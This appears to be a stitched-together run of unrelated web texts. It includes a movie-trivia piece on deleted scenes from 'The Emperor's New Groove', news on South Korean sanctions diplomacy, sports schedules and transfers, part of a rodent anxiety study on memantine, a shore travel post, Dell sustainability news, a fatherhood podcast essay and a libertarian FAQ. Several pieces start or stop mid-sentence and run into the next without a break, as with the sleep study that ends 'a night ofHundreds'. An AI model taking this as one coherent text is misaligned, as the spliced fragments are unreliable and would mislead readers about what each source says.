When Kuzco is in full-on Dickbag Mode during the beginning of the movie, he calls Pacha into his royal chambers to ask him which side of his hill gets the best light. It's here that Kuzco reveals his plan to build a summer house right on top of Pacha's village (complete with water slide). An entire settlement that's been living peacefully for generations was set to be destroyed merely for the pleasure of the shittiest of shitty teens.
That's the part that's already in the movie. What you didn't see in theaters was a pretty frightening display that came right after. When Pacha is on the way out of the palace after getting the bad news, he runs into a suspiciously familiar sight.
It's a full-scale model of Pacha's village. Though the houses are all cardboard-like cutouts, everything else seems about right. Disney didn't cut this because it was kind of weird that the emperor had this village built in a scale model and a life-size recreation. No, this was cut because of what happens next.
Namely, a bunch of armed soldiers run upand start demolishing the "town."
The whole thing was a practice drill. These soldiers burn, chop and otherwise destroy the entire model village in a matter of seconds. Not only is the concept pretty dark, but the execution is kind of terrifying -- we get the feeling that these meatheads would just as soon hack a toddler to pieces as they would a training dummy. It doesn't help that once the trial is completed, the guy in charge barks "When Kuzco gives the word, we attack!" Now, presumably Kuzco told himself that he gave fair warning to the villagers, but it seems likely that anyone left behind to stand their ground would have been chopped and burned like so many fake huts.
You can see why they left this moment out. It's brutal and mean and not really fitting with the tone of the film. We don't need to be reminded of the severity of the stakes -- we were just told what would happen to Pacha's village. Hell, Kuzco already slammed a big castle right on top of it. Hammering that home with fire and brimstone was unnecessary, and probably the biggest reason this moment was excised. The most fascinating part of the whole thing is just how far the scene got into production before someone stepped in and said "I don't think this serious threat of barbaric violence belongs in this llama movie you guys."
In the case of the alternate ending, however, production didn't get further than animatic storyboards. As you might remember, the final cut shows Kuzco has learned the error of his ways and spends his summer chilling in his own humble cottage nestled in Pacha's village. Everyone's having a blast jumping in ponds and sliding down waterfalls; we're meant to acknowledge that nature is the greatest theme park of all, and it comes with its own water slides.
But in the original draft, Kuzco did build Kuzcotopia in all its glory.
For this version, Kuzco still decided not to build his summer getaway on top of Pacha's village -- instead, he mowed down a bunch of rainforest right next to Pacha's village and built Kuzcotopia there instead, inviting the locals to party down. When it came time for the internal test screening, there was one particularly angry voice of dissent: Sting. As chronicled in a documentary Disney doesn't really want you to see, the Police frontman was frustrated beyond belief throughout the filmmaking process, having languished in production for a constantly-changing movie for months on end.
Seeing this pushed Sting over the edge. He (rightly) pointed out that destroying an invaluable ecosystem for his own gain showed that Kuzco was just as selfish at the end of the movie as he was at the start. For the first time in history, everyone in the room looked around and had no choice but to agree: Sting was right. The official ending we did get is leagues better than the moral-free hellscape of Kuzcotopia.
When it comes down to it, the real lesson here is: The Emperor's New Groove is on Netflix, and you should totally rewatch it soon.South Korea is stepping up its diplomatic pressure on countries that are friendly with North Korea to help curb the regime’s nuclear and missile programs.This week, President Park Geun-hye is visiting Ethiopia, Kenya and Uganda, countries that have had friendly relations with North Korea and are also suspected of conducting military or arms trade deals with the regime.Uganda recently had police and military cooperation with North Korea, according to a UN Panel of Experts report submitted to the UN Security Council on Feb. 24.According to the panel, Uganda confirmed that until last December, North Korea provided training for 45 of its police officers, including 19 security instructors for paramilitary police. The report also said that Pyongyang provided such training by “exploiting … countries’ incomplete understanding” of UN resolutions.Ethiopia, likewise, has been suspected of engaging in arms trade deals with Pyongyang, as part of a defense relationship that dates back to the 1980s. The 2015 report further notes that Ethiopia was suspected of violating the arms embargo to buy ammunition from the North’s top arms dealer, Korea Mineral Trading General Corporation.The international community has banded together to penalize Pyongyang for its fourth nuclear test in January and subsequent long-range missile launch in February, and on March 2 the UN Security Council adopted Resolution 2270, its toughest-to-date sanctions on Pyongyang.To ensure the thorough implementation of the resolution, South Korea has continued to strengthen its cooperation with China, Pyongyang’s traditional ally, with President Park’s summit with Chinese President Xi Jinping on March 31, on the sidelines of Nuclear Security Summit in Washington. That was followed by South Korean Foreign Minister Yun Byung-se’s rare participation in the Conference on Interaction and Confidence (CICA) Building Measures in Asia forum in Beijing in late April.The CICA is a joint declaration made on April 28 that condemned in the “strongest terms” North Korea’s fourth nuclear test on Jan. 6 and its ballistic missile provocations, including its Feb. 7 long-range missile launch, reaffirming that it would “thoroughly and fully” implement UNSC Resolution 2270.Yun also had a meeting with Chinese Foreign Minister Wang Yi on the sidelines of the conference, and the two sides agreed to cooperate closely with each other for a thorough implementation of relevant UN Security Council resolutions.In May, President Park made her first trip to Iran, a country that has traditionally maintained friendly ties with Pyongyang and has long been suspected of cooperating in the development of missile and nuclear programs. Park requested Iran’s help to implement the UN sanctions against Pyongyang.In a joint press conference after this meeting, Iranian President Hassan Rouhani said that his country is opposed to any nuclear weapons development on the Korean Peninsula.Last Thursday, Park held a summit with Mongolian President Tsakhiagiin Elbegdorj in Seoul, where the two leaders likewise discussed the North Korean nuclear issue. Elbegdorj said that Mongolia had called on North Korea to comply with international sanctions, expressing support for Korea’s efforts to denuclearize Pyongyang. He also agreed with Park’s remark that reunification is the only way to resolve North Korea’s nuclear ambitions.Mongolia was one of the first countries to forge diplomatic ties with North Korea, and the two countries traditionally have maintained friendly relations. Elbegdorj is one of the rare world leaders to have visited Pyongyang under the Kim Jong-un regime in 2013.During his visit in October that year, he said “no tyranny lasts forever” in a speech to students at Kim Il Sung University in Pyongyang. The bold speech, which also noted that Mongolia is a nuclear-weapons free state and is opposed to capital punishment, reportedly led to a souring of bilateral relations with Pyongyang. Park will next travel to Ethiopia from May 25 to May 28, Uganda from May 28 to May 30 and Kenya from May 30 to June 1. She then heads to France, where the nuclear issue will also be discussed during her summit with French President Francois Hollande.North Korea is also looking to engage in a series of diplomatic engagements, and Kim Yong-nam, president of the Presidium of the Supreme People’s Assembly, visited the central African country of Equatorial Guinea last Friday. Seoul officials see this as an attempt to counter the stringent sanctions recently placed upon it.BY SARAH KIM [[email protected]]The Royals are one of the more compelling storylines in baseball this year, and everyone is in on the action. The Royals will have four games on national television for the upcoming week, including every game of their upcoming Tigers series.
It starts this Saturday, September 6 in New York as the Royals take on the Yankees. Fox Sports 1 will broadcast the game nationally, meaning no coverage from Fox Sports Kansas City. First pitch is at 3 p.m. CT. This will be the last time Derek Jeter ever faces his rival Kansas City Royals on a Saturday afternoon. This also marks the Royals fourth appearance on Fox Sports 1 this year. Here is our previous post that shows where you can find Fox Sports 1 with regional carriers.
Monday and Tuesday's games in Detroit against the Tigers will have huge implications for the division and will be carried on MLB Network. Those games will be blacked out in Kansas City and covered locally by Fox Sports Kansas City. Monday's game has an odd 3:08 CT start time. Tuesday's game is a 6:08 CT start.
Wednesday's game in Detroit will be covered nationally on ESPN on Wednesday Night Baseball. The game will still be carried locally on Fox Sports Kansas City, with ESPN's feed blacked out in Royals areas. First pitch is 6:08 CT.Yep, family comedies and procedurals are back again as spinoffs and high-profile reboots are MIA (for now).
Approaching the halfway point of pilot season pickups, a few early trends have emerged as the Big Four broadcast networks look to court viewers in Trump America and have seemingly turned their backs on spinoffs and reboots (at least for now).
With 36 orders already on the books (including four straight-to-series orders), dramas (20) and comedies (16) are almost evenly split. ABC has the biggest jump among the drama field with nine, compared with CBS (five), Fox and NBC (three each). On the comedy side, NBC leads the way with seven half-hours, as the network is turning to proven executive producers to rebuild its brand around its 10-episode Will and Grace revival.
Here's a closer look at the early trends (as well as some notable omissions).
Trump TV Is a Real Thing
Following Donald Trump's presidential victory, many broadcast networks began to re-evaluate their programming decisions. This pilot season is already showing signs of their efforts to appeal to Trump America with NBC's military hero drama For God and Country; ABC's Marc Cherry soap about a "Red State" sheriff (Reba McEntire); ABC comedies Raised by Wolves, Libby & Malcolm and its Daveed Diggs half-hour about an outspoken rapper who runs (and wins) a mayoral election. Then there's CBS' Edward Snowden-like drama Perfect Citizen about the NSA's divisive general counsel-turned-Boston attorney, as well as a Navy SEALs show.
Out of This World Trend Alert
This current broadcast season, time travel was the genre that every network decided it needed to be in. Halfway through pilot season, it appears space is the final frontier. With CBS All Access twice delaying its Star Trek: Discovery, three other shows are ready to blast off. CBS has NASA astronaut drama Mission Control; Fox has Seth MacFarlane live-action dramedy Orville, set 300 years in the future and following an exploratory ship in Earth's interstellar fleet, as well as Adam Scott/Craig Robinson's X-Files spoof Ghosted, about a paranormal true believer; while NBC has workplace comedy Spaced Out, |
±0.82 Vs 2.1±0.64) and in total time spent in SZ (34.2±1.63 Vs 8.6±0.75) as shown in [ ]. But on the 8th day, there was significant decrease p<0.01 in step down latency period in SFZ (161.4±2.73 Vs 185.4±3.87) as shown in [ ]. On the 1st day, memantine + lorazepam treated group when compared to memantine alone treated group, animals showed significant decrease p<0.001 in step down latency period in SFZ (152.3±3.82 Vs 267.2±2.51), significant increase p<0.001 in step down error (9.4±0.56 Vs 2.1±0.64) and in total time spent in SZ (42.4±1.72 Vs 8.6±0.75) as shown in [ ]. But on the 8th day, animals showed significant decrease p<0.001 in step down latency period in SFZ (155.8±1.67 Vs 185.4±3.87), significant increase p<0.01 in step down error (9.2±0.63 Vs 6.8±0.78) and total time spent in SZ (41.8±1.81 Vs 32.1±2.22) as shown in [ ]. In open field test on the 1st day the animals treated with lorazepam as a standard when compared to control group, showed statistically significant anxiolytic activity as shown in [ ]. On the 8th day, the animals showed significant increase p<0.001 in no. of squares crossed (126.4±2.77 Vs 83.2±2.96), time spent in central square (14.3±1.53 Vs 3.4±0.65), no. of rearings (37.5±2.42 Vs 17±1.81) and significant decrease p<0.001 in freezing time (8.53±0.59 Vs 20.2±2.29) as shown in [ ]. In open field test on the 1st day the animals treated with memantine when compared to control group, no statistical significant anxiolytic effect was as shown in [ ]. Whereas on the 8th day animals showed significant increase p<0.001 in no. of squares crossed (112.7±2.69 Vs 83.2±2.96), time spent in central square (11.5±1.26 Vs 3.4±0.65), no. of rearings (32.4±2.61 Vs 17±1.81) and significant decrease (p<0.001) in freezing time (15.2±1.12 Vs 20.2±2.29) as shown in [ ]. [Table/Fig-3]: Groups, (dose) Squares Crossed(no.) Time spent in CS (s) Rearing (no.) Freezing time (s) 1. Control (10ml/kg, i.p) 86.3±1.08 2.7±0.14 19.3±1.6 20.6±2.36 2. Lorazepam (0.5mg/kg, i.p) 104.6±0.92* 8.4 ±0.18* 34.4±1.17* 9.6±1.35* 3. Memantine (3mg/kg, i.p.) 90.2±1.61†† 3.1± 0.15†† 23.5±2.39†† 18.1±1.18† 4. Memantine + Lorazepam 135.6±1.6‡‡ 26.32±1.1‡‡ 51.2±2.06‡‡ 7.3±0.86‡‡ Open in a separate window [Table/Fig-4]: Groups, (dose) Squares Crossed(no.) Time spent in CS (s) Rearing (no.) Freezing time (s) 1. Control (10ml/kg, i.p) 83.2±2.96 3.4±0.65 17±1.81 20.2±2.29 2. Lorazepam (0.5mg/kg, i.p.) 126.4±2.77* 14.3±1.53* 37.5±2.42* 8.53±0.59* 3. Memantine (3mg/kg, i.p.) 112.7±2.69*,† 11.5±1.26* 32.4±2.61* 15.2±1.12*,† 4. Memantine + Lorazepam 131.2±2.98‡‡ 25.2±1.17‡‡ 46.1±1.51‡‡ 5.9±0.62‡‡ Open in a separate window In open field test on 1st day the animals treated with lorazepam when compared to memantine group, animals showed significant increase p<0.001 in no. of squares crossed (104.6±0.92 Vs 90.2±1.61), time spent in central square (8.4±0.18 Vs 3.1±0.15), no. of rearings (34.4±1.17 Vs 23.5±2.39) and significant decrease p<0.01 in freezing time (9.6±1.35 Vs 18.1±1.18) as shown in [ ]. But on the 8th day there was significant increase p<0.01 in no. of squares crossed (126.4±2.77 Vs 112.7±2.69) and significant decrease p<0.01 in freezing time (8.53±0.59 Vs 15.2±1.12) as shown in [ ]. In open field test on 1st day the animals treated with memantine + lorazepam when compared to memantine alone group, showed statistical significant anxiolytic activity as shown in [ ]. On the 8th day, animals showed significant increase p<0.001 in no. of squares crossed (131.2±2.98 Vs 112.7±2.69), time spent in central square (25.2±1.17 Vs 11.5±1.26) no. of rearings (46.1±1.51 Vs 32.4±2.61) and significant decrease (p<0.001) in freezing time (5.9±0.62 Vs 15.2±1.12) as shown in [ ]. Photograph shows the mouse staying at Shock Free Zone (SFZ) in passive avoidance test shown in [ ]. Photograph shows the mouse crossing the central square in open field test as shown in [ ]. Open in a separate window Open in a separate window
Discussion In the management of anxiety disorders, Benzodiazepines are mainly preferred as the first line treatment. However, chronic administration of Benzodiazepines results in side effects like sedation, amnesia, tolerance which limits their usage [40]. Mammalian brain mainly contains three types of inotropic glutamate receptors: N-methyl-D-aspartate (NMDA), 2-amino-3-hydroxy- 5-methyl-4-isoxazolepropionic acid (AMPA) and kainate [41]. Among these, NMDA receptor plays a key role in modulation of anxiety disorders [42,43]. Interestingly it was found that when NMDA receptor antagonists were administered by microinjection into the dorsolateral periaqueductal gray area in rats, anxiolytic-like effects were more evident [44]. It was demonstrated from a previous study that in hippocampal neurons, conditioning with 20 μM NMDA for 20 sec caused 50% suppression of GABA responses and lorazepam potentiation reliably increased with GABA A receptors when there was NMDA-induced suppression in plasticity of fast synaptic transmission [45]. In passive avoidance test, the mice stay at the shock free zone in order to escape from the aversive electric shock stimuli. The reduction in normal behaviour is exhibited by decrease in step down latency period and increase in number of step-down errors. Memantine showed statistically significant antianxiety effects in both the anxiety behaviour paradigms on the 8th day when compared to 1st day as shown in [,, and ]. Our study also demonstrated synergistic interaction between memantine and lorazepam in their antianxiety activity. Antianxiety effects of other competitive NMDA receptor antagonists were observed from previous studies [46,47]. Phencyclidine and its derivatives have produced anxiolytic effects in rodents via modulating NMDA, nicotinic acetylcholine and 5-HT receptors [46]. NMDA antagonist like phencyclidine which showed antianxiety effects in rodents causes characteristic side effects like hallucinations which limit its usage and ketamine produces profound drowsiness [47]. Further studies are needed to explore the antianxiety effect of memantine in other experimental animal models of anxiety like stair case test, vogel conflict test, social interaction test, novelty induced suppressed feeling latency test and hole board test to strengthen the evidence and address the anxiety disorders in the community in future. Recently, the over activity of hypothalamus pituitary adrenal axis (HPA) is postulated to play a significant role in anxiety disorders. The activity of the HPA axis is governed by the amygdala and hippocampus with interplay of various neuropeptides such as corticotrophin-releasing factor, substance P, vasopressin and neuropeptide Y (NPY) [48]. The hypothesis by Olney [49], suggest that over activation of NMDA receptors may cause subsequent damage of GABA neurons and further damage can be produced by disinhibited neurons e.g., glutamate, Ach, NPY. From the previous study by Wieronska JM et al., [50], it was evident that in the amygdala, the glutaminergic neurotransmission is mediated by NMDA receptors which may regulate neuropeptide Y neurons. Activity of memantine on NPY activity which might contribute to the antianxiety activity, throws light on its further exploration as antianxiety drug.
Conclusion Memantine could be producing its antianxiety activity by blocking NMDA receptor. However, its modulating effect on NPY which might contribute to antianxiety effect cannot be ruled out. Further research is required to gain closer insights into the exact mechanism of action of memantine as antianxiety drug, which might benefit the patients of anxiety in clinical scenario.
Notes Financial or Other Competing Interests None.My final post in my “Down the Shore” series is about the small beach community of Wildwood Crest. Noted for its independently owned “Doo Wop” motels with names like the Jolly Roger, Tangiers, and Blue Marlin of the mid twentieth century, The Crest is a favorite destination spot for families.
Wildwood Crest came into existence with the dawn of the twentieth century and its history has more than its share of memorable happenings. The Baker Brothers, successful merchants from the farm community of Vineland, had visited the area known as Five Mile Beach on several occasions and were impressed by its natural beauty and expansive beaches. They were convinced of its potential as a resort and considered its development as a profitable business investment.¹
Now families love to visit the Doo Wop motels of Wildwood Crest. These motels were once in danger of being demolished and replaced with high-end condos. Thankfully, there has been a movement underway to save these special places as an important part of the area’s history. These motels have quirky decor that include fake palm trees, bridges over the center of their pools, and neon signs. Once the sun goes down it is a great fun to take a ride down Atlantic and Ocean Avenues and check out these motels all lit up.
Wildwood Crest is one of five municipalities in the state that offer free public access to
oceanfront beaches monitored by lifeguards. And the beaches offer plenty of space for everyone!
A favorite event for visitors is riding the tram car on the boardwalk. For decades visitors have been reminded to “Watch the tram car, please.” It is a great way for families and the elderly to enjoy the boardwalk even though they may have issues walking. Take time to play skee-ball, eat a slice, and have some frozen custard.
I hope you have enjoyed my multi-part series of the Jersey Shore. If you haven’t checked it out yet, I hope you do!
Sources:
1: https://cresthistory.org/
AdvertisementsThe search continues for missing Lakewood yeshiva bochur 23-year-old Aaron Sofer, who went missing on erev Shabbos in the Jerusalem Forest. He was hiking when a friend when he disappeared.
Persons involved in the ongoing search effort explain there are fears for his life at this stage of the operation. Ichud Hatzalah’s Aaron Getz explained “beginning with the start of Shabbos the search has been ongoing with police cooperation”.
Getz explains the rabbonim instructed Ichud Hatzalah and Zaka volunteers to continue the search during Shabbos.
Vehicles with loudspeakers traveled in frum areas during Shabbos to rule out that Sofer was not being hosted in someone’s home.
A search team member told Arutz Sheva: “We don’t know where he disappeared to. While we want to believe the he finished the forest path and went to one of the yeshivas or to an apartment somewhere, each passing hour that he doesn’t contact us raises the concern that he is unable to contact us,”
“There is definitely a fear for his life,” clarified the source. “Therefore, we ask for the help of the public.” Please say tehillim for Aaron Ben Chuldah.
(YWN – Israel Desk, Jerusalem / Photo: Ichud Hatzalah Spokesman)Looks like Anderson Silva won’t try out for next year’s Olympic Games after all.
The former UFC middleweight champion, and 5th dan black belt in taekwondo, announced in April his desire to represent Brazil in taekwondo at the 2016 Olympics in Rio de Janeiro, Brazil, but his manager Jorge Guimaraes told PVT that Silva has changed his plans.
"This Olympic thing has been discarded. Anderson won’t participate in the Olympics," Guimaraes said. "He’s now waiting for the Athletic Commission’s verdict, which should come soon. We are waiting, we’ll see if there’s going to be a punishment and how long it will be. He’s training, Anderson never stops training. He’s staying active."
Silva returned from a brutal leg break and defeated Nick Diaz in January, but failed a pair of drug tests before and right after his UFC 183 win, testing positive for drostanolone, androstane, oxazepam and temazepam.
On April 13, "The Spider" petitioned to be part of the Brazilian Olympic team. Nine days later, the UFC star held a press conference in Rio de Janeiro to announce that he was willing to go through the official tryouts to earn a spot at the Olympics.
"I stopped training taekwondo when I was 17 so it’s going to be tough, because taekwondo is very different today," Silva said at the press conference. "I’m not worried about being embarrassed by the other athletes. For everything sport gave to me, I will try to give it back. I don’t have anything to prove. I’m here to help the sport and make it stronger.
"I never stopped training and watching the sport. I always used taekwondo kicks in my MMA fights, but now I have to train taekwondo only and adapt myself. It’s another challenge I have to face, and I’m willing to get embarrassed for it."
Silva is expected to appear in front of the Nevada Athletic Commission on Aug. 7 for his official hearing. The former UFC middleweight champion is currently suspended by the commission.Pulling consecutive all-nighters makes some brain areas groggier than others. Regions involved with problem solving and concentration become especially sluggish when sleep-deprived, a new study using brain scans reveals. Other areas keep ticking along, appearing to be less affected by a mounting sleep debt.
The results might lead to a better understanding of the rhythmic nature of symptoms in certain psychiatric or neurodegenerative disorders, says study coauthor Derk-Jan Dijk. People with dementia, for instance, can be afflicted with “sundowning,” which worsens their symptoms at the end of the day. More broadly, the findings, published August 12 in Science, document the brain’s response to too little shut-eye.
“We’ve shown what shift workers already know,” says Dijk, of the University of Surrey in England. “Being awake at 6 a.m. after a night ofHundreds of migratory birds were found dead after an entire flock crashed into the American National Insurance building at One Moody Plaza.
Officer workers found the dead birds when they arrived to work early Thursday morning, according to Josh Henderson of the Galveston Police Department's Animal Services Unit.
Henderson says they collected 395 deceased birds, mostly warblers and orioles, that were found outside the building.
The Houston Audubon Society says the bird kill was likely caused by a combination of bad weather and bright lights.
They believe Wednesday night's storms caused the flock to fly lower to the ground and they say bright office lights attract birds which can cause them to crash into buildings.
"We encourage building administrators to turn those lights out," said Richard Gibbons, conservation director for the Houston Audubon Society. "It is less of an attraction to avoid collisions."
The deceased birds will be studied to examine the health of the migratory bird population and prevent more deaths, according to Henderson.
Among the hundreds of dead birds, rescuers found three that survived the crash and fell to the ground. They have been taken to the Wildlife Center of Texas for rehabilitation.Dell will be using 100 million pounds of recycled materials in its products by 2020
Technology giant Dell has set itself a new target after surpassing its 2020 goal to use 50 million pounds of sustainable materials in its products.
The fresh target will see Dell aim to use 100 million pounds of recycled-content plastic and other sustainable materials by 2020, which it believes reflects significant growth in opportunity due to commercialisation of post-consumer recycled materials.
Among the sustainable material used in Dells products is carbon fibre recycling. Dell claims it is the first and only company to offer computers that contain the recycled carbon fibre and e-waste components.
The announcement was made in Dell’s first CSR report since completing the purchase of EMC in the largest technology merger in history. Dell has now realigned its goals to reflect the integrated company.
“Bringing together Dell and EMC in September 2016 gave us an opportunity to reflect on our progress and establish a core set of commitments that represent the best of both companies,” said Dell Inc chief responsibility officer Trisa Thompson. "We have a newfound energy as we think about the opportunity we have to put our combined portfolio, expertise and resources to good work. It’s already encouraging tremendous innovation that will benefit our customers and our world.”
Computer takebacks
The report claims that Dell recovered 177 million pounds of used electronics last year. Takeback schemes, which allow customers to turn in obsolete electronics to Dell when purchasing new technologies, have made Dell the largest recycler of e-waste in the world, the firm has said.
Dell claims that 94% of product packaging was sourced from sustainable materials. Earlier this year, it was reported that Dell had achieved a new first for the technology industry, after converting waste plastic found on beaches and in waterways into new packaging for one of its laptop products.
The computer firm insists it has “significantly” expanded transparency into its supply chain in the past year. This comes after the global toxic trade watchdog organisation called on Dell and other major tech firms to improve transparency in its electronics recycling supply chain.
Dell’s manufacturing facilities diverted 99% of waste from landfill in the past year, although the global diversion rate in other Dell-operated buildings remains in the 50-60% range. The company surpassed the 2020 sustainability goal of planting one million trees to offset carbon emissions and restore natural animal habitats.
Internal initiatives were supported by a number of external partnerships. Dell was among a host of major businesses to form Net Positive, a cross-sector coalition that aims to increase the number of companies that go beyond reducing negative sustainability impacts to provide "net-positive" contributions to society, the environment and the global economy.
Dell also ramped up its commitment to the circular economy by launching a series of innovative recycling schemes and joining Ellen MacArthur's Circular Economy 100 programme. Dell’s corporate sustainability lead Louise Koch recently told edie that multiple engaging platforms were key to spreading a company’s sustainability message.
George OglebyI'm always on the hunt for good ideas on how to be a better dad. Healthier meals to cook. How to help my son develop and navigate being a kid. How to be a good partner to my wife.
But a lot of the time, my searches leave something to be desired.
Often, the "expert advice" I find is stuck in a fatherhood concept from yesteryear, where just showing up is cause for a ticker tape parade. Even when the advice is targeted for active, involved dads, it can take on this fluffy, television-sitcom-dad vibe -- stuff like "it takes a real man to be a daddy" -- without giving any actual good ideas.
In search of conversations and ideas on how to be a better dad, I've gone to some unexpected places.
Recently, I've been listening a lot to the advice podcast My Brother, My Brother and Me. It's one of the best places for down-to-earth, real conversations about navigating the journey toward fatherhood, even though it's not a parenting advice show and specifically recommends that the hosts' advice "should never be followed."
My Brother, My Brother and Me is run by three gleefully profane, hilarious and weird brothers: Justin, Travis and Griffin McElroy. They give advice to listeners on off-beat issues (e.g., what do I do if my friend thinks Mermaids are real?) and take questions from the dregs of Yahoo Answers (e.g., is Bruce Willis a good singer?).
It's like if Dear Abby was replaced by her three sons who know way too much about classic Nintendo games and discontinued breakfast cereals.
Because the questions are usually ridiculous, the McElroys give appropriately silly answers, and sometimes forget to actually answer the question. But there's a line of sincerity that runs through what they do, particularly when they talk about what's happening in their own lives.
All three are married, and the wives of both Travis and Griffin are expecting (Justin has a two year old daughter). On recent shows, they've talked about baby shower etiquette (do you eat the commemorative candy?), dropped some good dad jokes and discussed the challenge of balancing kid time and work time with fantasy author Patrick Rothfuss.
They've also lamented the lack of quality books for dads on preparing for a new baby as Griffin and Travis get ready for their big arrivals. They want to know how to be good dads (the best way to hold a baby, etc.), but one book Travis read recommended drawing football plays on his wife's stomach to help him connect with the baby.
Because obviously all men are unfeeling monsters who can't connect to tiny humans they helped create without "sports things."
It gets deeper than that. At a recent live show in Washington, DC, Travis and his wife Teresa talked on their podcast "Shmanners" about how she had a miscarriage before they were pregnant with the baby she's having soon. They said they wanted to share what happened because of how important it is for people to feel open about talking about those experiences.
These sincere conversations happen alongside weird riffs on whether a listener should move into a van with her boyfriend, and that's what makes the show so good for dads. There's very little actual advice, but it's really helpful to know that people like you are searching for the same things. To know there are people out there who are working hard to improve their fatherhood skills too, and that it's not as easy as the "10 Ways To Be A Good Dad" post someone shared on Facebook would have you believe.
The show is also a firm, emphatic reminder that there isn't one path to being a good dad. Not everyone is Danny Tanner, and excellence in fatherhood can come in many forms, including funny dudes that run a podcast.
You can be weird and profane and silly part of the time and also work really hard at being a better dad. Your relationship with your child is one part of you, and just because you have a kid doesn't mean you don't like comic books or mystery novels anymore. Your identity doesn't contract when your child arrives -- it expands.
You can take your responsibility as a father seriously and still make poop jokes with your friends. You can want to spend time with your kids but also take time for yourself. Justin talks about hunting for Pokémon on Pokémon Go while on walks with his daughter. You can do that too, if Pokémon Go is your thing.I am a registered Republican, and I fully support the regulation of Wall Street. After the bankruptcy of such companies as Enron, WorldCom, Washington Mutual, Lehman Brothers, etc., the financial market went on with business as usual. No one seemed to question the ethics of the heads of these companies and whether or not they were running the companies effectively. It continued, and soon the banking industry followed suit. Can we with stand another round of unchecked financial responsibilities? I say no. If the financial industry cannot police themselves then the government needs to step in and do it for them.
America cannot afford another bailout now nor in the future. Putting us back on our feet has already been so costly and we are still struggling to recover. Each day, it seems that Wall Street is still looking for business as usual while the rest of America continues to struggle and suffer because of their bottom line. If we are to survive this crisis, we cannot go on with business as usual because we now know that business as usual is broken. Now, we need to press forward with better business practices and make it our business to ensure that banks and other companies that want to compete worldwide are doing their level best to compete honestly and fairly.
Free market and free enterprise got a reprieve this time, but next time it could mean the death of both. We need reform that forces credit card and mortgage companies to play by the rules. No more hidden fees or pages of fine print. Reform that ensures families who are hoping to buy a home or pay for college are put on a level playing field with lenders. Reform that ensures we will get the information we need presented clearly and concisely so we can make good financial decisions. The same goes for small businesses and community banks that play fair and deserve to see their businesses grow.
I fully support government reform of Wall Street even though it seems we are going backwards in time to a time when the government had to regulate everything. We asked for those reins to be taken off so that we could grow on the world's economic stage, and now because of greed, unethical practices and the reckless behavior of the banking industry, we have come full circle. I stand with the Obama administration in saying that enough is enough, and I for one will probably never trust and unregulated Wall Street again.
Robert Jefferson, Felton, Del.Republican strategist Rick Wilson rips fans of Donald Trump on Jan. 19, 2016. (Crooks and Liars)
Republican consultant Rick Wilson denigrated supporters of Donald Trump on Tuesday, painting them as anti-Semitic lacking ambition, Crooks and Liars reported.
“The fact of the matter is, most of them are childless single men who masturbate to anime,” Wilson told MSNBC host Chris Hayes. “They’re not real political players. These are not people who matter in the overall course of humanity.”
The GOP, Wilson insisted, is still being driven by the belief in a limited-government platform.
“I don’t think that this other stuff that Trump is toying with is part of the mainstream conservative movement by any stretch of the imagination,” he added.
“The question to me is, this is all going to be tested, right?” Hayes responded. “I agree with you; there are large parts of people who are avowed Republicans and conservatives who genuinely care about limited government. But what we’re seeing right now is this sort of electoral test. And that’s what makes today so fascinating, this fight so fascinating.”
Hayes noted that, as The Week reported, “paleo-conservative” columnist Samuel Francis advised then-presidential candidate Pat Buchanan to pursue a line of rhetoric similar to Trump’s in 1996.
“[Francis] basically said, ‘Your best path is just get rid of all the conservatism — all the limited government, deficits, all that stuff — and just go whole hog on, essentially, ethno-nationalism.”
What The Week’s Michael Brendan Doughterty argued, the host said, was that Trump’s rise over more established politicians in the polls showed “just how thin the support for their ideas really is.”
“I think that’s absurd,” Wilson replied, arguing that support for limited government principles constituted a “very significant portion of the party.”
“The screamers and the crazy people on the all-right as they call it, you know, who love Donald Trump, who have plenty of Hitler iconography in their Twitter icons and names,” he continued.
“They sure do. I can back that up,” Hayes replied.
Watch the discussion, as posted by Crooks and Liars on Tuesday, below.Diego Costa has been told by Antonio Conte he can leave. (Reuters)
Diego Costa has revealed that Antonio Conte has informed him that he can leave Chelsea this summer.
The 28-year-old came close to leaving Stamford Bridge for the Chinese Super League in the January transfer window but his three-year stint with the Premier League champions now looks to be at an end.
What Maurizio Sarri told Chelsea board about row with Kepa Arrizabalaga
Costa has already made his desire to return to Atletico Madrid clear but that move has been scuppered due to the Spanish club’s transfer ban, which prevents them from registering players until January 2018.
Costa has ruled out the prospect of joining Atletico this summer and waiting for the club’s ban to end before playing, and now insists he is open to offers from other leagues.
‘I’m going to be honest, the other day, Conte sent me a message saying I am not in his plans for Chelsea, so I’ll have to find a way out,’ the striker told reporters after Spain’s draw with Colombia on Wednesday evening.
Conte has no plans to keep Costa. (AFP/Getty Images)
‘I love living in Madrid, but I have to think about my future.
Advertisement
Advertisement
‘It’s complicated because I cannot go four or five months without playing. I have no preference for a league, I just want to play.’
Chelsea are in talks to sign Romelu Lukaku from Everton. (Getty Images)
Costa’s latest claims now pave the way for Romelu Lukaku to complete his transfer to Chelsea.
On Tuesday, the Belgian striker revealed that he already knows his next destination after reports claimed that the Premier League champions are in talks over a £80 million deal with Everton.
MORE: Diego Costa’s agent Jorge Mendes meeting with AC Milan today as striker nears Chelsea exit
MORE: Chelsea enter race with Arsenal to sign Riyad MahrezThis is a compilation of my objections to the main arguments of right-libertarians (or propertarians) done as an FAQ (based on the fact that my FAQ for economists was pretty popular). I hope here to persuade libertarians that things are more complicated than their framework, neat as it is, implies. Whether it will succeed is another question.
Writing these arguments revealed an interesting recurrence: once the libertarian framework is picked apart, the debate collapses back to where it’s always been. The various binary distinctions libertarians make (voluntary/coercive, government/market, positive/negative liberty) fall apart upon critical inspection, and we then have to take things on a case by case basis in the fuzzy world of morality, trade offs and so forth. It strikes me that the libertarian framework tries to provide easy answers, to side step this debate.
Anyway, let’s start. The first question might strike some as odd, but unfortunately it’s something I’ve encountered repeatedly:
What do you have against liberty? Why do you statists always try to rationalise ways to control our lives?
Slow down! If everyone who criticises you is automatically the bad guy, that doesn’t leave much room for productive debate, does it? For what it’s worth, I’d characterise libertarians as those who are so skeptical of the state that they think it should only protect the most powerful, but that’s no reason to dismiss them as the bad guys before we’ve even started. But more on that later – for now, just try not to assume I am Stalin reincarnated.
But libertarianism is about liberty. What justification do you have for infringing on liberty?
Again, this attitude leaves open the actual question of whether libertarianism really does improve individual liberty. Libertarians generally distinguish between positive and negative liberty, where positive liberty is the freedom to command resources to realise certain ends, while negative freedom is the extent to which one is (or isn’t) constrained by other moral actors. Since a low degree of positive freedom is, unfortunately, imposed by nature, the only things humans as moral actors can do is ensure we don’t restrict people’s negative liberty.
